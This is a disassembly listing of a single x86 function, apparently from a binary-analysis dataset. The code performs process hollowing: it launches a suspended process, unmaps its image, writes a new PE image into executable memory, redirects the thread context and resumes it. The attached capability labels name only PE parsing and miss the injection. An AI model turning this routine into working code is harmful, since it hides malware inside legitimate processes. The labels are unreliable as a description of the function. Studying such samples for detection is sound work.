Function at 0x4027a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push 0x44
push 0
lea eax, [ebp - 0x70]
push eax
call 0x40450f
add esp, 0xc
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x344], 0x10007
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x348], ecx
mov edx, dword [ebp - 0x348]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x5a4d
je 0x4027ec
xor eax, eax
jmp 0x402a1a
mov ecx, dword [ebp - 0x348]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
cmp dword [eax], 0x4550
je 0x40280d
xor eax, eax
jmp 0x402a1a
push 0x405068
mov ecx, dword [0x406134]
push ecx
call dword [0x404024]
mov dword [ebp - 0x14], eax
push 0x40509c
mov edx, dword [0x40613c]
push edx
call dword [0x404024]
mov dword [ebp - 0x34c], eax
push 0x4050cc
mov eax, dword [0x40613c]
push eax
call dword [0x404024]
mov dword [ebp - 0x1c], eax
push 0x4050e0
mov ecx, dword [0x40613c]
push ecx
call dword [0x404024]
mov dword [ebp - 0x18], eax
push 0x4050f4
mov edx, dword [0x40613c]
push edx
call dword [0x404024]
mov dword [ebp - 0x20], eax
push 0x4050b4
mov eax, dword [0x40613c]
push eax
call dword [0x404024]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp + 0x10]
push ecx
call 0x404500
add esp, 4
test eax, eax
jbe 0x4028bd
push 0x4054fc
mov edx, dword [ebp + 8]
push edx
call 0x4043ec
add esp, 8
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call 0x4043ec
add esp, 8
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [ebp - 0x14]
test eax, eax
jne 0x4028e5
xor eax, eax
jmp 0x402a1a
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [ebp - 0x34c]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [0x406174]
test eax, eax
jne 0x402920
xor eax, eax
jmp 0x402a1a
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [ebp - 0x74]
cmp dword [ebp - 0x24], 0
jne 0x402951
xor eax, eax
jmp 0x402a1a
mov dword [ebp - 0x2c], 0
jmp 0x402963
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x78]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x2c], ecx
jge 0x4029b6
mov edx, dword [ebp - 0x348]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x2c]
imul ecx, ecx, 0x28
add ecx, dword [ebp + 0xc]
lea edx, [ecx + eax + 0xf8]
mov dword [ebp - 0x28], edx
push 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, dword [ecx + 0x34]
mov eax, dword [ebp - 0x28]
add edx, dword [eax + 0xc]
push edx
mov ecx, dword [ebp - 0x10]
push ecx
call dword [ebp - 0x74]
jmp 0x40295a
lea edx, [ebp - 0x344]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x1c]
push 0
push 4
mov ecx, dword [ebp - 0x78]
add ecx, 0x34
push ecx
mov edx, dword [ebp - 0x2a0]
add edx, 8
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [ebp - 0x74]
mov ecx, dword [ebp - 0x78]
mov edx, dword [ecx + 0x34]
mov eax, dword [ebp - 0x78]
add edx, dword [eax + 0x28]
mov dword [ebp - 0x294], edx
lea ecx, [ebp - 0x344]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [ebp - 0x18]
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402a1e
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret